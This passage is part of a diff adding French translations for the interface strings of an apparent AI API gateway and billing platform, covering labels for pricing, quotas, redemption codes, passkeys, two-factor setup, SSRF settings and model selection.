+    "Please select at least one channel": "Veuillez sélectionner au moins un canal",
+    "Please select at least one model": "Veuillez sélectionner au moins un modèle",
+    "Please select items to delete": "Veuillez sélectionner des éléments à supprimer",
+    "Please Select user groups that can access this channel.": "Veuillez sélectionner les groupes d'utilisateurs qui peuvent accéder à ce canal.",
+    "Please set Ollama API Base URL first": "Veuillez d'abord définir l'URL de base de l'API Ollama",
+    "Please try again later.": "Veuillez réessayer plus tard.",
+    "Please upload key file(s)": "Veuillez télécharger le (s) fichier(s) clé (s)",
+    "Please wait a moment, human check is initializing...": "Veuillez patienter un instant, la vérification humaine s'initialise...",
+    "Policy JSON": "JSON de stratégie",
+    "Polling": "Sondage",
+    "Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded": "Le mode d'interrogation nécessite Redis et un cache mémoire, sinon les performances seront considérablement dégradées",
+    "Poor": "Mauvais",
+    "Port": "Port",
+    "Port must be a positive integer": "Le port doit être un entier positif",
+    "Post Delta": "Delta post-calcul",
+    "PostgreSQL detected": "PostgreSQL détecté",
+    "PostgreSQL offers advanced reliability and data integrity for production workloads.": "PostgreSQL offre une fiabilité avancée et une intégrité des données pour les charges de travail en production.",
+    "PostgreSQL offers strong reliability guarantees. Double check your maintenance window and retention policies before going live.": "PostgreSQL offre de solides garanties de fiabilité. Vérifiez votre fenêtre de maintenance et vos politiques de rétention avant la mise en production.",
+    "Powerful API Management Platform": "Plateforme puissante de gestion d'API",
+    "Pre-Consume for Free Models": "Pré-consommation pour les modèles gratuits",
+    "Pre-consumed": "Pré-consommé",
+    "Pre-Consumed Quota": "Quota pré-consommé",
+    "Preference saved as {{pref}}, but no active subscription. Wallet will be used automatically.": "Préférence enregistrée comme {{pref}}, mais aucun abonnement actif. Le portefeuille sera utilisé automatiquement.",
+    "Preferences": "Préférences",
+    "Prefill Group Management": "Gestion des groupes de préremplissage",
+    "Prefill Groups": "Groupes de préremplissage",
+    "Prefill groups help you keep complex configurations in sync.": "Les groupes de préremplissage vous aident à maintenir des configurations complexes synchronisées.",
+    "Prefix": "Préfixe",
+    "Prefix Match": "Correspondance de préfixe",
+    "Prefix used when displaying prices": "Préfixe utilisé lors de l'affichage des prix",
+    "Premium chat models": "Modèles de chat Premium",
+    "Preparing chat keys…": "Préparation des clés de chat…",
+    "Preparing your chat link, please try again in a moment.": "Préparation de votre lien de discussion, veuillez réessayer dans un instant.",
+    "Preparing your chat link…": "Préparation de votre lien de chat…",
+    "Prepend": "Ajouter au début",
+    "Preset recharge amounts (JSON array)": "Montants de recharge prédéfinis (tableau JSON)",
+    "Preset recharge amounts displayed to users": "Montants de recharge prédéfinis affichés aux utilisateurs",
+    "Preset Template": "Modèle prédéfini",
+    "Preset templates": "Modèles prédéfinis",
+    "Press Enter or comma to add tags": "Appuyez sur Entrée ou sur la virgule pour ajouter des tags",
+    "Press Enter to use \"{{value}}\"": "Appuyez sur Entrée pour utiliser « {{value}} »",
+    "Prevent server-side request forgery attacks": "Prévenir les attaques de falsification de requêtes côté serveur",
+    "Prevent server-side request forgery attacks by controlling outbound requests.": "Prévenir les attaques de falsification de requêtes côté serveur en contrôlant les requêtes sortantes.",
+    "Preview": "Aperçu",
+    "Previous": "Précédent",
+    "Previous branch": "Branche précédente",
+    "Previous page": "Page précédente",
+    "Price": "Prix",
+    "Price ($/1K calls)": "Prix ($/1K appels)",
+    "Price (local currency / USD)": "Prix (devise locale / USD)",
+    "Price display": "Affichage des prix",
+    "Price display mode": "Mode d'affichage des prix",
+    "Price estimation": "Estimation du prix",
+    "Price estimation description": "Après avoir configuré le type de matériel, l'emplacement de déploiement, le nombre de réplicas, etc., le prix sera calculé automatiquement.",
+    "Price ID": "ID du prix",
+    "Price mode (USD per 1M tokens)": "Mode de tarification (USD par 1M de jetons)",
+    "price_xxx": "price_xxx",
+    "Price:": "Prix :",
+    "Price: High to Low": "Prix : Du plus élevé au plus bas",
+    "Price: Low to High": "Prix : Du plus bas au plus élevé",
+    "Prices shown per": "Prix affichés par",
+    "Prices synced successfully": "Prix synchronisés avec succès",
+    "Prices vary by usage tier and request conditions": "Les prix varient selon le palier d’utilisation et les conditions de requête",
+    "Pricing": "Tarification",
+    "Pricing & Display": "Tarification et Affichage",
+    "Pricing by Group": "Tarification par groupe",
+    "Pricing Configuration": "Configuration de la tarification",
+    "Pricing mode": "Mode de tarification",
+    "Pricing Ratios": "Ratios de tarification",
+    "Pricing Type": "Type de tarification",
+    "Primary Model": "Modèle principal",
+    "Prioritize reusing the last successful channel based on keys extracted from request context (sticky routing)": "Priorise la réutilisation du dernier canal ayant réussi, basé sur les clés extraites du contexte de la requête (routage persistant)",
+    "Priority": "Priorité",
+    "Priority (Default)": "Priorité (Par défaut)",
+    "Priority level from 0 (lowest) to 10 (highest), default is 5": "Niveau de priorité de 0 (le plus bas) à 10 (le plus élevé), la valeur par défaut est 5",
+    "Priority order for automatic group assignment. New tokens rotate through this list.": "Ordre de priorité pour l'attribution automatique des groupes. Les nouveaux jetons alternent dans cette liste.",
+    "Privacy Policy": "Politique de confidentialité",
+    "Private Deployment URL": "URL de déploiement privé",
+    "Processing OAuth response...": "Traitement de la réponse OAuth...",
+    "Processing...": "Traitement...",
+    "Product": "Produit",
+    "Product ID": "ID du produit",
+    "Product ID is required": "L'ID de produit est requis",
+    "Product Name": "Nom du produit",
+    "Products": "Produits",
+    "Professional team providing 24/7 technical support": "Équipe professionnelle offrant un support technique 24h/24 et 7j/7",
+    "Profile": "Profil",
+    "Profile updated successfully": "Profil mis à jour avec succès",
+    "Progress": "Progression",
+    "Project": "Élément",
+    "Promote": "Promouvoir",
+    "Promotion codes": "Codes promotionnels",
+    "Prompt": "Invite",
+    "Prompt (EN)": "Invite (EN)",
+    "Prompt cache ratio": "Ratio de cache d'invite",
+    "Prompt Caching": "Mise en cache des invites",
+    "Prompt Details": "Détails de l'invite",
+    "Prompt price ($/1M tokens)": "Prix du prompt ($/1M de jetons)",
+    "Protect login and registration with Cloudflare Turnstile": "Protéger la connexion et l'inscription avec Cloudflare Turnstile",
+    "Provide a JSON object where each key maps to an endpoint definition.": "Fournissez un objet JSON où chaque clé correspond à une définition de point de terminaison.",
+    "Provide a valid URL starting with http:// or https://": "Fournissez une URL valide commençant par http:// ou https://",
+    "Provide Markdown, HTML, or an external URL for the privacy policy": "Fournir du Markdown, du HTML ou une URL externe pour la politique de confidentialité",
+    "Provide Markdown, HTML, or an external URL for the user agreement": "Fournir du Markdown, du HTML ou une URL externe pour l'accord utilisateur",
+    "Provide per-category safety overrides as JSON. Use `default` for fallback values.": "Fournir des remplacements de sécurité par catégorie au format JSON. Utilisez `default` pour les valeurs de secours.",
+    "Provide per-model header overrides as JSON. Useful for enabling beta features such as expanded context windows.": "Fournir des remplacements d'en-tête par modèle au format JSON. Utile pour activer des fonctionnalités bêta telles que les fenêtres de contexte étendues.",
+    "Provider": "Fournisseur",
+    "Provider created successfully": "Fournisseur créé avec succès",
+    "Provider deleted successfully": "Fournisseur supprimé avec succès",
+    "Provider Name": "Nom du fournisseur",
+    "Provider type (OpenAI, Anthropic, etc.)": "Type de fournisseur (OpenAI, Anthropic, etc.)",
+    "Provider updated successfully": "Fournisseur mis à jour avec succès",
+    "Proxy Address": "Adresse du proxy",
+    "Publish Date": "Date de publication",
+    "Published": "Publié",
+    "Published:": "Publié :",
+    "Pull": "Télécharger",
+    "Pull model": "Télécharger le modèle",
+    "Pulling...": "Téléchargement en cours...",
+    "Purchase a plan to enjoy model benefits": "Souscrivez un plan pour bénéficier des avantages des modèles",
+    "Purchase here": "Acheter ici",
+    "Purchase Limit": "Limite d'achat",
+    "Purchase limit reached": "Limite d'achat atteinte",
+    "Purchase Subscription": "Acheter un abonnement",
+    "QR Code Image URL": "URL de l'image du code QR",
+    "QR code is not configured. Please contact support.": "Le code QR n'est pas configuré. Veuillez contacter le support.",
+    "Quantity": "Quantité",
+    "QuantumNous": "QuantumNous",
+    "Query Balance": "Solde des requêtes",
+    "Query Param": "Paramètre de requête",
+    "Querying...": "Recherche en cours...",
+    "Question": "Question",
+    "Queued": "En file",
+    "Quick insert common payment methods": "Insérer rapidement les méthodes de paiement courantes",
+    "Quick Range": "Plage rapide",
+    "Quick Setup from Preset": "Configuration rapide à partir d'un préréglage",
+    "Quota": "Quota",
+    "Quota ({{currency}})": "Quota ({{currency}})",
+    "Quota adjusted successfully": "Quota ajusté avec succès",
+    "Quota consumed before charging users": "Quota consommé avant de facturer les utilisateurs",
+    "Quota Distribution": "Distribution des quotas",
+    "Quota given to invited users": "Quota attribué aux utilisateurs invités",
+    "Quota given to users who invite others": "Quota attribué aux utilisateurs qui invitent d'autres personnes",
+    "Quota must be a positive number": "Le quota doit être un nombre positif",
+    "Quota Per Unit": "Quota par unité",
+    "Quota reminder (tokens)": "Rappel de quota (jetons)",
+    "Quota Reset": "Réinitialisation du quota",
+    "Quota Settings": "Paramètres de quota",
+    "Quota Types": "Types de quotas",
+    "Quota Warning Threshold": "Seuil d'avertissement de quota",
+    "Quota:": "Quota :",
+    "Random": "Aléatoire",
+    "Randomly select a key from the pool for each request": "Sélectionner aléatoirement une clé du pool pour chaque requête",
+    "Rate Limit Windows": "Fenêtres de limitation",
+    "Rate Limiting": "Limitation du débit",
+    "Ratio": "Ratio",
+    "Ratio applied to audio completions for streaming models.": "Ratio appliqué aux complétions audio pour les modèles de streaming.",
+    "Ratio applied to audio inputs where supported by the upstream model.": "Ratio appliqué aux entrées audio lorsque pris en charge par le modèle amont.",
+    "Ratio applied when creating cache entries for supported models.": "Ratio appliqué lors de la création d'entrées de cache pour les modèles pris en charge.",
+    "Ratio mode": "Mode de ratio",
+    "Ratio Type": "Type de ratio",
+    "Ratio: {{value}}": "Ratio : {{value}}",
+    "Ratios synced successfully": "Ratios synchronisés avec succès",
+    "Raw JSON": "JSON brut",
+    "Raw Quota": "Quota brut",
+    "Re-enable on success": "Réactiver en cas de succès",
+    "Re-login": "Se reconnecter",
+    "Ready to initialize": "Prêt à initialiser",
+    "Ready to simplify": "Prêt à simplifier",
+    "Real exchange rate between USD and your payment gateway currency": "Taux de change réel entre l'USD et la devise de votre passerelle de paiement",
+    "Reason": "Raison",
+    "Reason:": "Raison :",
+    "Reasoning": "Raisonnement",
+    "Reasoning Effort": "Effort de raisonnement",
+    "Receive Upstream Model Update Notifications": "Recevoir les notifications de mise à jour des modèles en amont",
+    "Received": "Reçu",
+    "Recharge": "Recharger",
+    "Recharge Amount": "Montant de la recharge",
+    "Recharge Amount (USD)": "Montant de la recharge (USD)",
+    "Recommended": "Recommandé",
+    "Recommended to keep this high to avoid upstream throttling.": "Il est recommandé de maintenir cette valeur élevée pour éviter la limitation en amont.",
+    "Record IP Address": "Enregistrer l'adresse IP",
+    "Record quota usage": "Enregistrer l'utilisation du quota",
+    "Redeem": "Utiliser",
+    "Redeem codes": "Échanger des codes",
+    "Redeemed By": "Utilisé par",
+    "Redeemed:": "Utilisé :",
+    "redemption code": "code d'échange",
+    "Redemption Code": "Code d'échange",
+    "Redemption code deleted successfully": "Code d'échange supprimé avec succès",
+    "Redemption code disabled successfully": "Code d'échange désactivé avec succès",
+    "Redemption code enabled successfully": "Code d'échange activé avec succès",
+    "Redemption code updated successfully": "Code d'échange mis à jour avec succès",
+    "Redemption code(s) created successfully": "Code(s) d'échange créé(s) avec succès",
+    "Redemption Codes": "Codes d'échange",
+    "redemption codes.": "codes de rachat.",
+    "Redemption failed": "Rédemption échouée",
+    "Redemption successful! Added: {{quota}}": "Échange réussi ! Ajouté : {{quota}}",
+    "Redirecting to chat page...": "Redirection vers la page de discussion...",
+    "Redirecting to Creem checkout...": "Redirection vers la caisse Creem...",
+    "Redirecting to GitHub...": "Redirection vers GitHub...",
+    "Redirecting to payment page...": "Redirection vers la page de paiement...",
+    "Reference Video": "Vidéo de référence",
+    "Referral link:": "Lien de parrainage :",
+    "Referral Program": "Programme de parrainage",
+    "Refresh": "Actualiser",
+    "Refresh Cache": "Actualiser le cache",
+    "Refresh credential": "Actualiser l'identifiant",
+    "Refresh failed": "Échec de l'actualisation",
+    "Refresh interval (minutes)": "Intervalle d'actualisation (minutes)",
+    "Refresh Stats": "Actualiser les statistiques",
+    "Refreshing...": "Actualisation...",
+    "Refund": "Remboursement",
+    "Refund Details": "Détails du remboursement",
+    "Regenerate": "Régénérer",
+    "Regenerate Backup Codes": "Régénérer les codes de secours",
+    "Regex Replace": "Remplacement regex",
+    "Register Passkey": "Enregistrer un Passkey",
+    "Registration Enabled": "Inscription activée",
+    "Registry (optional)": "Registre (optionnel)",
+    "Registry secret": "Secret du registre",
+    "Registry username": "Nom d'utilisateur du registre",
+    "Reject Reason": "Raison du rejet",
+    "Release details": "Détails de la version",
+    "Relying Party Display Name": "Nom d'affichage de la partie de confiance",
+    "Relying Party ID": "ID de la partie de confiance",
+    "Remaining": "Restant",
+    "Remaining quota": "Quota restant",
+    "Remaining Quota ({{currency}})": "Quota restant ({{currency}})",
+    "Remaining quota units": "Unités de quota restantes",
+    "Remaining:": "Restant :",
+    "Remark": "Remarque",
+    "Remove": "Supprimer",
+    "Remove ${{amount}}": "Supprimer ${{amount}}",
+    "Remove all log entries created before the selected timestamp.": "Supprimer toutes les entrées de journal créées avant l'horodatage sélectionné.",
+    "Remove attachment": "Supprimer la pièce jointe",
+    "Remove condition": "Supprimer la condition",
+    "Remove Duplicates": "Supprimer les doublons",
+    "Remove filter": "Supprimer le filtre",
+    "Remove functionResponse.id field": "Supprimer le champ functionResponse.id",
+    "Remove Models": "Supprimer des modèles",
+    "Remove Passkey": "Supprimer le Passkey",
+    "Remove Passkey?": "Supprimer la clé d'accès ?",
+    "Remove rule group": "Supprimer le groupe de règles",
+    "Remove tier": "Supprimer le palier",
+    "Removed": "Supprimé",
+    "Removed {{removed}} duplicate key(s). Before: {{before}}, After: {{after}}": "{{removed}} clé(s) en double supprimée(s). Avant : {{before}}, Après : {{after}}",
+    "Removed Models ({{count}})": "Modèles supprimés ({{count}})",
+    "Removes Midjourney flags such as --fast, --relax, and --turbo from user prompts.": "Supprime les drapeaux Midjourney tels que --fast, --relax et --turbo des prompts utilisateur.",
+    "Removing Passkey will require you to sign in with your password next time. You can re-register anytime.": "La suppression de la clé d'accès (Passkey) vous obligera à vous connecter avec votre mot de passe la prochaine fois. Vous pouvez vous réinscrire à tout moment.",
+    "Rename": "Renommer",
+    "Rename deployment": "Renommer le déploiement",
+    "Rename failed": "Échec du renommage",
+    "Renamed successfully": "Renommé avec succès",
+    "Repeat the administrator password": "Répéter le mot de passe administrateur",
+    "Replace": "Remplacer",
+    "Replace all existing keys": "Remplacer toutes les clés existantes",
+    "Replace channel models": "Remplacer les modèles du canal",
+    "Replace mode: Will completely replace all existing keys": "Mode remplacement : Remplacera complètement toutes les clés existantes",
+    "replaced": "remplacé",
+    "Replacement Model": "Modèle de remplacement",
+    "Replica count": "Nombre de réplicas",
+    "Replicate": "Replicate",
+    "request": "requête",
+    "Request": "Requête",
+    "Request Body Disk Cache": "Cache disque du corps de requête",
+    "Request Body Memory Cache": "Cache mémoire du corps de requête",
+    "Request body pass-through is enabled. The request body will be sent directly to the upstream without any conversion.": "Le passage du corps de requête est activé. Le corps sera envoyé directement en amont sans conversion.",
+    "Request conversion": "Conversion de requête",
+    "Request Conversion": "Conversion de requête",
+    "Request Count": "Nombre de requêtes",
+    "Request failed": "Échec de la requête",
+    "Request flow": "Flux de requête",
+    "Request Header Overrides": "Remplacements d'en-têtes de requête",
+    "Request ID": "ID de requête",
+    "Request Limits": "Limites de requêtes",
+    "Request Model": "Modèle demandé",
+    "Request Model:": "Modèle demandé :",
+    "Request rule pricing": "Règles de tarification de requête",
+    "Request timed out, please refresh and restart GitHub login": "Délai dépassé, veuillez actualiser la page puis relancer la connexion GitHub",
+    "Request-based": "Selon la requête",
+    "Requests per minute": "Requêtes par minute",
+    "requests served": "requêtes traitées",
+    "Requests will be forwarded to this worker. Trailing slashes are removed automatically.": "Les requêtes seront transmises à ce worker. Les barres obliques finales sont automatiquement supprimées.",
+    "Requests:": "Requêtes :",
+    "Require email verification for new accounts": "Exiger la vérification de l'e-mail pour les nouveaux comptes",
+    "Require job success before follow-up actions": "Exiger le succès de la tâche avant les actions de suivi",
+    "Require login to view models": "Exiger la connexion pour voir les modèles",
+    "Required": "Requis",
+    "Required events:": "Événements requis :",
+    "Required to expose Midjourney-style image generation to end users.": "Requis pour exposer la génération d'images style Midjourney aux utilisateurs finaux.",
+    "Rerank": "Reclasser",
+    "Reroll": "Relancer",
+    "Resend ({{seconds}}s)": "Renvoyer ({{seconds}}s)",
+    "Reset": "Réinitialiser",
+    "Reset 2FA": "Réinitialiser la 2FA",
+    "Reset all model ratios?": "Réinitialiser tous les ratios de modèle ?",
+    "Reset all settings to default values": "Réinitialiser tous les paramètres aux valeurs par défaut",
+    "Reset at:": "Réinitialisation à :",
+    "Reset balance and used quota": "Réinitialiser le solde et le quota utilisé",
+    "Reset Cycle": "Cycle de réinitialisation",
+    "Reset email sent, please check your inbox": "Email de réinitialisation envoyé, veuillez vérifier votre boîte de réception",
+    "Reset failed": "Échec de la réinitialisation",
+    "Reset Passkey": "Réinitialiser le Passkey",
+    "Reset password": "Réinitialiser le mot de passe",
+    "Reset Period": "Période de réinitialisation",
+    "Reset ratios": "Réinitialiser les ratios",
+    "Reset Stats": "Réinitialiser les statistiques",
+    "Reset to default": "Réinitialiser par défaut",
+    "Reset to Default": "Réinitialiser par défaut",
+    "Reset to default configuration": "Réinitialisé à la configuration par défaut",
+    "Reset Two-Factor Authentication": "Réinitialiser 2FA",
+    "Resets in:": "Réinitialise dans :",
+    "Resolve Conflicts": "Résoudre les conflits",
+    "Resource Configuration": "Configuration des ressources",
+    "Response": "Réponse",
+    "Response Time": "Temps de réponse",
+    "Responses API Version": "Version de l'API des réponses",
+    "Restore defaults": "Restaurer les paramètres par défaut",
+    "Restrict user model request frequency (may impact high concurrency performance)": "Restreindre la fréquence des requêtes du modèle utilisateur (peut impacter les performances en cas de forte concurrence)",
+    "Retain last N days": "Conserver les N derniers jours",
+    "Retain last N files": "Conserver les N derniers fichiers",
+    "Retry": "Réessayer",
+    "Retry Chain": "Chaîne de tentatives",
+    "Retry Times": "Nombre de tentatives",
+    "Return Error": "Retourner l'erreur",
+    "Return to dashboard": "Retour au tableau de bord",
+    "Reveal API key": "Afficher la clé API",
+    "Reveal key": "Révéler la clé",
+    "Revenue": "Revenu",
+    "Review & initialize": "Vérifier et initialiser",
+    "Review current version and fetch release notes.": "Examiner la version actuelle et récupérer les notes de publication.",
+    "Review your payment details": "Vérifier vos détails de paiement",
+    "Review your purchase details before proceeding.": "Vérifiez les détails de votre achat avant de continuer.",
+    "Rewards will be added directly to your balance": "Les récompenses seront ajoutées directement à votre solde",
+    "Rewrite callback URLs to the local server": "Réécrire les URLs de callback vers le serveur local",
+    "Role": "Rôle",
+    "Root": "Racine",
+    "Route": "Route",
+    "Route Description": "Description de la route",
+    "Route is required": "La route est requise",
+    "Rows per page": "Lignes par page",
+    "RPM": "RPM",
+    "RSA Private Key (Production)": "Clé privée RSA (Production)",
+    "RSA Private Key (Sandbox)": "Clé privée RSA (Sandbox)",
+    "Rule": "Règle",
+    "Rule group": "Groupe de règles",
+    "rules": "règles",
+    "Rules JSON": "Règles JSON",
+    "Rules JSON must be an array": "Le JSON des règles doit être un tableau",
+    "Run GC": "Exécuter le GC",
+    "Run tests for the selected models": "Exécuter les tests pour les modèles sélectionnés",
+    "Running": "En cours",
+    "s": "s",
+    "Safety Settings": "Paramètres de sécurité",
+    "Same as Local": "Identique au local",
+    "Sandbox mode": "Mode sandbox",
+    "Save": "Enregistrer",
+    "Save all settings": "Enregistrer tous les paramètres",
+    "Save Backup Codes": "Sauvegarder les codes de secours",
+    "Save changes": "Enregistrer les modifications",
+    "Save Changes": "Enregistrer les modifications",
+    "Save chat settings": "Enregistrer les paramètres de chat",
+    "Save check-in settings": "Enregistrer les paramètres de connexion",
+    "Save Creem settings": "Enregistrer les paramètres Creem",
+    "Save drawing settings": "Enregistrer les paramètres de dessin",
+    "Save Epay settings": "Enregistrer les paramètres Epay",
+    "Save failed": "Échec de l'enregistrement",
+    "Save failed, please retry": "Échec de l'enregistrement, veuillez réessayer",
+    "Save general settings": "Enregistrer les paramètres généraux",
+    "Save group ratios": "Enregistrer les ratios de groupes",
+    "Save io.net settings": "Enregistrer les paramètres io.net",
+    "Save log settings": "Enregistrer les paramètres de journal",
+    "Save model ratios": "Enregistrer les ratios de modèles",
+    "Save Models": "Enregistrer les modèles",
+    "Save monitoring rules": "Enregistrer les règles de surveillance",
+    "Save navigation": "Enregistrer la navigation",
+    "Save notice": "Enregistrer l'avis",
+    "Save rate limits": "Enregistrer les limites de débit",
+    "Save sensitive words": "Enregistrer les mots sensibles",
+    "Save Settings": "Enregistrer les paramètres",
+    "Save sidebar modules": "Enregistrer les modules de la barre latérale",
+    "Save SMTP settings": "Enregistrer les paramètres SMTP",
+    "Save SSRF settings": "Enregistrer les paramètres SSRF",
+    "Save Stripe settings": "Enregistrer les paramètres Stripe",
+    "Save these backup codes in a safe place. Each code can only be used once.": "Enregistrez ces codes de secours dans un endroit sûr. Chaque code ne peut être utilisé qu'une seule fois.",
+    "Save these codes in a safe place. Each code can only be used once.": "Enregistrez ces codes dans un endroit sûr. Chaque code ne peut être utilisé qu'une seule fois.",
+    "Save tool prices": "Enregistrer les prix des outils",
+    "Save Waffo Pancake settings": "Enregistrer les paramètres Waffo Pancake",
+    "Save Worker settings": "Enregistrer les paramètres Worker",
+    "Saved successfully": "Enregistré avec succès",
+    "Saving...": "Enregistrement en cours...",
+    "Scan QR Code": "Scanner le code QR",
+    "Scan the QR code to follow the official account and reply with “验证码” to receive your verification code.": "Scannez le code QR pour suivre le compte officiel et répondez par « 验证码 » pour recevoir votre code de vérification.",
+    "Scan the QR code with WeChat to bind your account": "Scannez le code QR avec WeChat pour lier votre compte",
+    "Scan this QR code with your authenticator app (Google Authenticator, Microsoft Authenticator, etc.)": "Scannez ce code QR avec votre application d'authentification (Google Authenticator, Microsoft Authenticator, etc.)",
+    "Scheduled channel tests": "Tests de canaux planifiés",
+    "Scope": "Portée",
+    "Scopes": "Portées",
+    "Search": "Rechercher",
+    "Search by name or URL...": "Rechercher par nom ou URL...",
+    "Search by order number...": "Rechercher par numéro de commande...",
+    "Search chat presets...": "Rechercher des préréglages de chat...",
+    "Search colors...": "Rechercher des couleurs...",
+    "Search conflicting models or fields": "Rechercher des modèles ou champs en conflit",
+    "Search deployments...": "Rechercher des déploiements...",
+    "Search feature in development": "Fonctionnalité de recherche en développement",
+    "Search group names...": "Rechercher des noms de groupe...",
+    "Search groups...": "Rechercher des groupes...",
+    "Search missing models": "Rechercher les modèles manquants",
+    "Search model name...": "Rechercher le nom du modèle...",
+    "Search models": "Rechercher des modèles",
+    "Search models or fields...": "Rechercher des modèles ou des champs...",
+    "Search models...": "Rechercher des modèles...",
+    "Search payment methods...": "Rechercher des méthodes de paiement...",
+    "Search payment types...": "Rechercher des types de paiement...",
+    "Search products...": "Rechercher des produits...",
+    "Search tags...": "Rechercher des tags...",
+    "Search vendors...": "Rechercher des fournisseurs...",
+    "Search...": "Rechercher...",
+    "seconds": "secondes",
+    "Secret env (JSON object)": "Environnement secret (objet JSON)",
+    "Secret environment variables (JSON)": "Variables d'environnement secrètes (JSON)",
+    "Secret Key": "Clé secrète",
+    "Secure & Reliable": "Sécurisé et fiable",
+    "Security": "Sécurité",
+    "Security Check": "Vérification de sécurité",
+    "Security verification": "Vérification de sécurité",
+    "Select": "Sélectionner",
+    "Select a color": "Sélectionner une couleur",
+    "Select a group": "Sélectionner un groupe",
+    "Select a group type": "Sélectionner un type de groupe",
+    "Select a preset...": "Sélectionner un préréglage...",
+    "Select a role": "Sélectionner un rôle",
+    "Select a timestamp before clearing logs.": "Sélectionnez un horodatage avant de vider les journaux.",
+    "Select a usage mode to continue": "Sélectionnez un mode d'utilisation pour continuer",
+    "Select a verification method first": "Sélectionnez d'abord une méthode de vérification",
+    "Select all": "Tout sélectionner",
+    "Select all (filtered)": "Tout sélectionner (filtré)",
+    "Select all models": "Sélectionner tous les modèles",
+    "Select All Visible": "Sélectionner tout ce qui est visible",
+    "Select an operation mode and enter the amount": "Sélectionnez un mode d'opération et entrez le montant",
+    "Select announcement type": "Sélectionner le type d'annonce",
+    "Select at least one field to overwrite.": "Sélectionnez au moins un champ à écraser.",
+    "Select channel type": "Sélectionner le type de canal",
+    "Select currency": "Sélectionner la devise",
+    "Select date": "Sélectionner la date",
+    "Select display mode": "Sélectionner le mode d'affichage",
+    "Select end time": "Sélectionner l'heure de fin",
+    "Select from presets or type custom identifier.": "Sélectionner parmi les préréglages ou saisir un identifiant personnalisé.",
+    "Select granularity": "Sélectionner la granularité",
+    "Select groups (leave empty to keep current)": "Sélectionner les groupes (laisser vide pour conserver les groupes actuels)",
+    "Select items...": "Sélectionner des éléments...",
+    "Select key format": "Sélectionner le format de clé",
+    "Select Language": "Sélectionner la langue",
+    "Select layout style": "Sélectionner le style de mise en page",
+    "Select locations": "Sélectionner des emplacements",
+    "Select Model": "Sélectionner le modèle",
+    "Select models (empty for allow all)": "Sélectionner les modèles (vide pour autoriser tout)",
+    "Select models and apply to channel models list.": "Sélectionnez les modèles et appliquez-les à la liste des modèles de canaux.",
+    "Select models or add custom ones": "Sélectionner des modèles ou en ajouter des personnalisés",
+    "Select models to process. Unselected \"add\" models will be ignored.": "Sélectionnez les modèles à traiter. Les modèles « ajout » non sélectionnés seront ignorés.",
+    "Select models to run batch tests.": "Sélectionner les modèles pour exécuter les tests par lots.",
+    "Select or enter color value": "Sélectionner ou saisir une valeur de couleur",
+    "Select or enter model name": "Sélectionner ou saisir le nom du modèle",
+    "Select or enter payment type": "Sélectionner ou saisir le type de paiement",
+    "Select payment method": "Sélectionner le mode de paiement",
+    "Select preset or enter custom CSS color value.": "Sélectionner un préréglage ou saisir une valeur de couleur CSS personnalisée.",
+    "Select publish date": "Sélectionner la date de publication",
+    "Select requirement": "Sélectionner l'exigence",
+    "Select row": "Sélectionner la ligne",
+    "Select sidebar style": "Sélectionner le style de la barre latérale",
+    "Select site direction": "Sélectionner la direction du site",
+    "Select start time": "Sélectionner l'heure de début",
+    "Select subscription plan": "Sélectionner un plan d'abonnement",
+    "Select Sync Channels": "Sélectionner les canaux de synchronisation",
+    "Select sync channels to compare prices": "Sélectionner les canaux de synchronisation pour comparer les prix",
+    "Select sync channels to compare ratios": "Sélectionner les canaux de synchronisation pour comparer les ratios",
+    "Select Sync Source": "Sélectionner la source de synchronisation",
+    "Select the API endpoint region": "Sélectionner la région du point de terminaison API",
+    "Select the fields you want to overwrite with upstream data. Unselected fields keep their local values.": "Sélectionnez les champs que vous souhaitez écraser avec les données en amont. Les champs non sélectionnés conservent leurs valeurs locales.",
+    "Select theme preference": "Sélectionner la préférence de thème",
+    "Select time granularity": "Sélectionner la granularité temporelle",
+    "Select vendor": "Sélectionner le fournisseur",
+    "Selectable groups": "Groupes sélectionnables",
+    "selected": "sélectionné",
+    "selected channel(s). Leave empty to remove tag.": "canal(aux) sélectionné(s). Laisser vide pour supprimer l'étiquette.",
+    "Selected conflicts were overwritten successfully.": "Les conflits sélectionnés ont été écrasés avec succès.",
+    "Self-Use Mode": "Mode d'utilisation personnelle",
+    "Send": "Envoyer",
+    "Send code": "Envoyer le code",
+    "Send email alerts when a user falls below this quota": "Envoyer des alertes par e-mail lorsqu'un utilisateur descend en dessous de ce quota",
+    "Sending...": "Envoi en cours...",
+    "Sensitive Words": "Mots sensibles",
+    "Sent the API key to FluentRead.": "Clé API envoyée à FluentRead.",
+    "Serve multiple users or teams with billing and quota control.": "Servir plusieurs utilisateurs ou équipes avec gestion de la facturation et des quotas.",
+    "Server Address": "Adresse du serveur",
+    "Server IP": "IP du serveur",
+    "Server Log Management": "Gestion des journaux serveur",
+    "Server logging is not enabled (log directory not configured)": "La journalisation serveur n'est pas activée (répertoire non configuré)",
+    "Server Token": "Jeton de serveur",
+    "Service account JSON file(s)": "Fichier(s) JSON de compte de service",
+    "Session expired!": "Session expirée !",
+    "Session expired?": "Session expirée ?",
+    "Set": "Définir",
+    "Set a discount rate for a specific recharge amount threshold.": "Définir un taux de réduction pour un seuil de montant de recharge spécifique.",
+    "Set a secure password (min. 8 characters)": "Définir un mot de passe sécurisé (min. 8 caractères)",
+    "Set a tag for": "Définir un tag pour",
+    "Set filters to customize your dashboard statistics and charts.": "Définir des filtres pour personnaliser les statistiques et les graphiques de votre tableau de bord.",
+    "Set filters to narrow down your log search results.": "Définir des filtres pour affiner vos résultats de recherche de journaux.",
+    "Set API key access restrictions": "Définir les restrictions d'accès de la clé API",
+    "Set API key basic information": "Définir les informations de base de la clé API",
+    "Set Header": "Définir l'en-tête",
+    "Set Project to io.cloud when creating/selecting key": "Définir le projet sur io.cloud lors de la création/sélection de la clé",
+    "Set quota amount and limits": "Définir le quota et les limites",
+    "Set Tag": "Définir un tag",
+    "Set tag for selected channels": "Définir un tag pour les canaux sélectionnés",
+    "Set the user's role (cannot be Root)": "Définir le rôle de l'utilisateur (ne peut pas être Root)",
+    "Setting saved": "Paramètre sauvegardé",
+    "Setting up 2FA...": "Configuration de la 2FA...",
+    "Setting updated successfully": "Paramètre mis à jour avec succès",
+    "Settings": "Paramètres",
+    "Settings & Preferences": "Paramètres et préférences",
+    "Settings updated successfully": "Paramètres mis à jour avec succès",
+    "Setup Instructions": "Instructions de configuration",
+    "Setup Two-Factor Authentication": "Configurer l'authentification à deux facteurs",
+    "Share your link and earn rewards": "Partagez votre lien et gagnez des récompenses",
